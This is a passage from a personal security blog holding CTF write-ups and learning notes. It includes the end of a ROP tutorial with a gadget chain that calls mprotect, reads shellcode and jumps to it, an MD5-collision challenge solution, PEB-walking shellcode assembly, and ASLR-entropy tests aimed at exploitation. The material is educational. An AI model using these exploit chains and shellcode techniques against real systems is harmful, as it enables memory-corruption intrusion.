0x08097eda  # add ecx, ecx; ret  ecx = 32
0x08097eda  # add ecx, ecx; ret  ecx = 64
0x08097eda  # add ecx, ecx; ret  ecx = 128

0x08097bff  # xor eax, eax; ret  eax = 0
0x0806b53e  # add eax, ecx; ret  eax = 128
0x0806bf9c  # dec eax; ret       eax = 127
0x0806bf9c  # dec eax; ret       eax = 126
0x0806bf9c  # dec eax; ret       eax = 125 = SYS_mprotect

0x08097eda  # add ecx, ecx; ret  ecx = 256
0x08097eda  # add ecx, ecx; ret  ecx = 512
0x08097eda  # add ecx, ecx; ret  ecx = 1024

#Now we're ready for mprotect
0x08052cf0  # int 0x80; ret    Issue syscall

Also pretty easy. The first block initialized ebx to the writable address which must be on a page boundary. Also ecx was initialized to -1.

The next block incremented ecx to contain the value 128 which in the next block is copied to eax which is then decremented to 125 which is the syscall number of mprotect.

Then I continue incrementing ecx to contain the number 1024 which will be the size of the executable segment for our shellcode. So our shellcode can be 1024 bytes long which should be enough, but add or remove some of those add ecx, ecx gadgets if you need more or less space.

So now we have writable and executable memory. Let's put some shellcode there and jump to it. We'll do the read call next. First we put the writable address into ecx and initialize ebx to zero (which is standard in file descriptor):

0x080525ed  # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
0x0804a001  #-> ecx
0xffffffff  #-> ebx
0x080488d9  # dec ecx; ret                   ecx = writable
0x08082fd0  # inc ebx; or al, 0xeb; ret      ebx = 0

Next we put syscall number 3 (SYS_read) into eax and a large value (0x01010101) into edx and we're good to go on the read call:

#Set eax = 3
0x08097bff # xor eax, eax; ret
0x0806a60f # inc eax; ret  #eax = 1
0x0806a60f # inc eax; ret  #eax = 2
0x0806a60f # inc eax; ret  #eax = 3

#Set edx = 0x01010101
0x080525c6  # pop edx; ret
0x01010101  #-> edx

#And we're ready for read
0x08052cf0  # int 0x80; ret    Issue syscall

Finally we jump to the code:

0x0806b893  # pop eax; ret   # eax = 0x0804a001
0x0804a001  # -> eax
0x0806bf9c  # dec eax; ret   # eax = 0x0804a000
0x080495f7  # jmp eax  GOTO shellcode!

And we'll see if it works:

level0@rop:~$ (./exploit.py && cat -) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����� �
                                                                                                  ��3�
                                                                                                     3�
                                                                                                      3�
                                                                                                       �~      �~      �~      �~      �~      �~      �{      >��������~      �~      �~   �����c�c�c�c�c�c�c�c��� �
                      ����و�{  ����    ��� �
                                           ����!
ls
flag  level0  exploit.py
cat flag
flag{rop_the_night_away}

Excellent!
We could shave off some gadgets by only marking 128 bytes executable since our shellcode is 22 bytes long.
Why not mark only 32 then? Because we needed the number 125 in eax and that number came from ecx.

Also, we could read to 0x0804a001 and save two more gadgets for decrementing registers but that would make the code less readable in my opinion, but do try that.

Hope you enjoyed this post.

Monday, August 5, 2013

EBCTF - Binary400 writeup

The challenge was this:
Please upload 5 Windows console executable files with the same MD5 but with different printed outputs (file type: MS Windows, PE32 executable, console)

The output for the files should be:
File1: All Eindbazen are wearing wooden shoes
File2: All Eindbazen live in a windmill
File3: All Eindbazen grow their own tulips
File4: All Eindbazen smoke weed all day
File5: All Eindbazen are cheap bastards
I know of two ways of achieving this but the first one is probably considered cheating:

$ ./file1
All Eindbazen are wearing wooden shoes
$ ./file2
All Eindbazen live in a windmill
$ ./file3
All Eindbazen grow their own tulips
$ ./file4
All Eindbazen smoke weed all day
$ ./file5
All Eindbazen are cheap bastards
$ md5sum file*
291741d9344f70d5b33c52c6e7b041c5  file1
291741d9344f70d5b33c52c6e7b041c5  file2
291741d9344f70d5b33c52c6e7b041c5  file3
291741d9344f70d5b33c52c6e7b041c5  file4
291741d9344f70d5b33c52c6e7b041c5  file5
$ shasum file*
8f69fb6689c44f09422f5c033c97e8978b87c1a2  file1
8f69fb6689c44f09422f5c033c97e8978b87c1a2  file2
8f69fb6689c44f09422f5c033c97e8978b87c1a2  file3
8f69fb6689c44f09422f5c033c97e8978b87c1a2  file4
8f69fb6689c44f09422f5c033c97e8978b87c1a2  file5
Nice huh. But take a look at the code...you'll probably see why this is cheating.

#include <string.h>
#include <stdio.h>
#include <libgen.h>

int main(int argc, char const *argv[]) {
    printf("%s\n",
        strcmp(basename((char*)argv[0]), "file1") == 0 ? "All Eindbazen are wearing wooden shoes" :
        strcmp(basename((char*)argv[0]), "file2") == 0 ? "All Eindbazen live in a windmill" :
        strcmp(basename((char*)argv[0]), "file3") == 0 ? "All Eindbazen grow their own tulips" :
        strcmp(basename((char*)argv[0]), "file4") == 0 ? "All Eindbazen smoke weed all day" :
        strcmp(basename((char*)argv[0]), "file5") == 0 ? "All Eindbazen are cheap bastards" :
                                        "Nope"
    );
    return 0;
}
But fortunately I also have a more correct solution. I am not a cryptologist so the don't expect any details on how to generate md5 collisions, but I will tell you how I got to a solution.

First, MD5 is a state machine. It has an initial state, and for each block of data this state changes. Each time MD5 has a specific state and is given the same block of data, its state will change to the same state.

If two different files have the same MD5 sum you can append the same data to each of then and they will still share the same MD5 sum.

A collision occurs when two different blocks will yield the same state and apparently finding collisions is not that hard. But what can we use that for?

We can make a program something like this:


A1 = "AAAAAAAAAAA"
A2 = "AAAAAAAAAAA"
B1 = "BBBBBBBBBBB"
B2 = "BBBBBBBBBBB"
C1 = "CCCCCCCCCCC"
C2 = "CCCCCCCCCCC"

if (A1 == A2 && B1 == B2 && C1 == C2) {
    print "All Eindbazen are wearing wooden shoes"
} else if (A1 != A2 && B1 == B2 && C1 == C2) {
    print "All Eindbazen live in a windmill"
} else if (A1 == A2 && B1 != B2 && C1 == C2) {
    print "All Eindbazen grow their own tulips"
} else if (A1 != A2 && B1 != B2 && C1 == C2) {
    print "All Eindbazen smoke weed all day"
} else if (A1 == A2 && B1 == B2 && C1 != C2) {
    print "All Eindbazen are cheap bastards"
}
Now, copy this program into five different files and generate three pairs of collisions. In the first program substitute both A1 and A2 with the same block in collision one, B1 and B2 with the same block in collision two, and C1 and C2 with the same block in collision three.
In the second program substitute A1 with the one block of collision one and A2 with the second block of collision one. For B1, B2, C1 and C2 do as in the first program. Now the first and second program will both have the same MD5 sum but exhibit different behaviors. You get the point.
Now, the trick is that the collisions only work for a specific state of the MD5 state machine, so you cannot simply generate three collisions or even use one collision for all three blocks. You have to generate the 'A' collisions first and substitute them in. Then you can generate the 'B' collisions and only then you can generate 'C' collisions.
To do this you can use the Peter Selingers program which can be downloaded from here.
The collisions can be generated faster by using Vlastimil Klimas attack. His code can be gotten from here. It will require some changes however, but you figure it out...that's my challenge to you.
The end result can be seen here:

$ file *
file1.exe: PE32 executable (console) Intel 80386, for MS Windows
file2.exe: PE32 executable (console) Intel 80386, for MS Windows
file3.exe: PE32 executable (console) Intel 80386, for MS Windows
file4.exe: PE32 executable (console) Intel 80386, for MS Windows
file5.exe: PE32 executable (console) Intel 80386, for MS Windows
$ md5sum *
d47eafe3f5ae42e0498ed7769900004c  file1.exe
d47eafe3f5ae42e0498ed7769900004c  file2.exe
d47eafe3f5ae42e0498ed7769900004c  file3.exe
d47eafe3f5ae42e0498ed7769900004c  file4.exe
d47eafe3f5ae42e0498ed7769900004c  file5.exe
$ shasum *
6cd2d31da99b59bc8b94b04d85d0868dc76e7bd0  file1.exe
245a24f647eb5d8fa6e5ff360e42b6f8f3692cfa  file2.exe
1ae718a4a1b8f9906068dd315473aa41927bfe99  file3.exe
0a1c867cf62c35d4283675599d445e29e584c94f  file4.exe
143f0838c8ed0e3800551ad66e01cb1855afa2f3  file5.exe
$ for file in *; do echo "$file: "$(wine $file); done
file1.exe: All Eindbazen are wearing wooden shoes
file2.exe: All Eindbazen live in a windmill
file3.exe: All Eindbazen grow their own tulips
file4.exe: All Eindbazen smoke weed all day
file5.exe: All Eindbazen are cheap bastards
$
You can download my files here.

Monday, July 1, 2013

Understanding Windows shellcode

I learned something new today.

For some time I have tried to understand Skapes paper on Windows shellcode with some success. I had trouble with the finding kernel32.dll using PEB technique and here is why.

The code is this (without Windows 9x version):

push esi
xor  eax, eax
mov  eax, fs:[eax + 0x30] ;Get address of TIB
mov  eax, [eax + 0x0c]    ;Get address of LDR
mov  esi, [eax + 0x1c]    ;Get address of first loaded module descriptor
lodsd                     ;Get address of next loaded module descriptor
mov  eax, [eax + 0x8]     ;Get base address of module (kernel32.dll)
pop  esi
ret

Easy, right ?
Wrong...not if you follow MSDN documentation.

If you google 'PEB_LDR_DATA' the first link you get is http://msdn.microsoft.com/en-us/library/windows/desktop/aa813708(v=vs.85).aspx

So according to Skapes shellcode the addres of the first module descriptor is 0x1c (28) bytes into that structure. But according to MSDN the structure is exactly 28 bytes long...which is a damn lie!

I asked on a SecurtyFocus mailing list called security-basics and got a reply that the MSDN information was wrong!

An accurate definition can be found at undocumented.ntinternals.net.

I drew an illustration (I like visualizing data structures) which helps when following the code:


The FS register points to the Thread Information Block and from there on you can follow the pointer at offset 0x30 to the PEB. Then at offset 0x0c you find a pointer to the PEB loader data.
At offset 0x1c you find the linked list of loaded modules in initialization order. Note that the forward link points INSIDE the LDR module structure and NOT to the base address of the structure. This means that at address zero relative to that forward link you find the next forward link to the kernel32 module structure...still an address inside the structure.
Eight bytes past that you find a pointer to the base address of kernel32.dll.

Tadaaa!!

Monday, April 8, 2013

ASLR and mapped libraries

I learned something new recently.

While working on an exploit for a challenge ('postit-hardened' at http://treasure.pwnies.dk/), I had to find out how libc was mapped in an ASLR environment and I were pleasantly surprised (from an attackers viewpoint).

The service is running in a 32 bit environment, so I started by gathering statistics on how well libc was randomized. I did that with the following C program:

#include <stdio.h>
#include <string.h>

long libc_mapping() {
    long address = 0;
    char buffer[1024] = {0};
    FILE * f = fopen("/proc/self/maps", "r");
    if (f) {
        while (fgets(buffer, sizeof(buffer) - 1, f)) {
            if (strstr(buffer, "libc") && strstr(buffer, "r-xp")) {
                sscanf(buffer, "%lx", &address);
                break;
            }
        }
        fclose(f);
    }
    return address;
}

int main(int argc, char const *argv[]) {
    printf("%ld", libc_mapping());
    return 0;
}
It simply looks up the address where libc is loaded for itself by looking into '/proc/self/maps'. We are interested in the executable mapping.

Together with this shell script we can get some statistics:
#!/bin/bash

comp_addr=0
aslr_bitmap=0

while true; do
    addr=$(./libc_addr)
    if [ "${comp_addr}" == "0" ]; then
        comp_addr=${addr}
    else
        diff=$((comp_addr^addr))
        aslr_bitmap=$((aslr_bitmap|diff))
        printf "%x\n" $aslr_bitmap
    fi
done

It runs the program repeatedly and finds a bitwise difference between the current mapping and the first mapping. Then it writes out all changed bits.

Runing this for a short while we get this mask on my Ubuntu machine: 3ff000

This means that only 10 bits are randomized giving us 1024 possible locations for libc. That is very brute forcable!

Just for fun I tried the same with 64 bits and got this mask: 1fffffff000
That is 29 bits which is more than 500 million possible locations. Much better (from a defender viewpoint).

BUT! Another thing...the service used fork to spawn a new process to handle our connection. How is libc randomized when the process is forked?

Lets see.

I modified the program to fork out and write the address of libc mapped into the child:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

long libc_mapping() {
    long address = 0;
    char buffer[1024] = {0};
    FILE * f = fopen("/proc/self/maps", "r");
    if (f) {
        while (fgets(buffer, sizeof(buffer) - 1, f)) {
            if (strstr(buffer, "libc") && strstr(buffer, "r-xp")) {
                sscanf(buffer, "%lx", &address);
                break;
            }
        }
        fclose(f);
    }
    return address;
}

int main(int argc, char const *argv[]) {
    pid_t pid;
    int i, status;

    printf("Parent: %lx\n", libc_mapping());

    for (i = 1; i <= 10; i++) {
        pid = fork();
        if (pid) {
            waitpid(pid, &status, 0);
        } else {
            printf("Child %d: %lx\n", i, libc_mapping());
            return;
        }
    }

    return 0;
}


This is a sample run:
$ ./forked_libc_addr
Parent: f758a000
Child 1: f758a000
Child 2: f758a000
Child 3: f758a000
Child 4: f758a000
Child 5: f758a000
Child 6: f758a000
Child 7: f758a000
Child 8: f758a000
Child 9: f758a000
Child 10: f758a000

Again I tried the same on a 64 bit machine with the same result:
$ ./forked_libc_addr
Parent: 7f1953193000
Child 1: 7f1953193000
Child 2: 7f1953193000
Child 3: 7f1953193000
Child 4: 7f1953193000
Child 5: 7f1953193000
Child 6: 7f1953193000
Child 7: 7f1953193000
Child 8: 7f1953193000
Child 9: 7f1953193000
Child 10: 7f1953193000
So...when forking libc (and all other mappings) stay.

This makes perfect sense when you think about it. The process is cloned, all memory must be intact. How should the operating system know, if your program have pointers into libc which needs updating?

It cannot, so libraries must stay. This is very interesting especially for my exploit since the program has an info leak vulnerability (as well as some others) but when I have received the info the connection is cut. So I have to make a new connection.

But since the info I want is the location of libc this apparently is not a problem because the info is still valid.

WIN!!!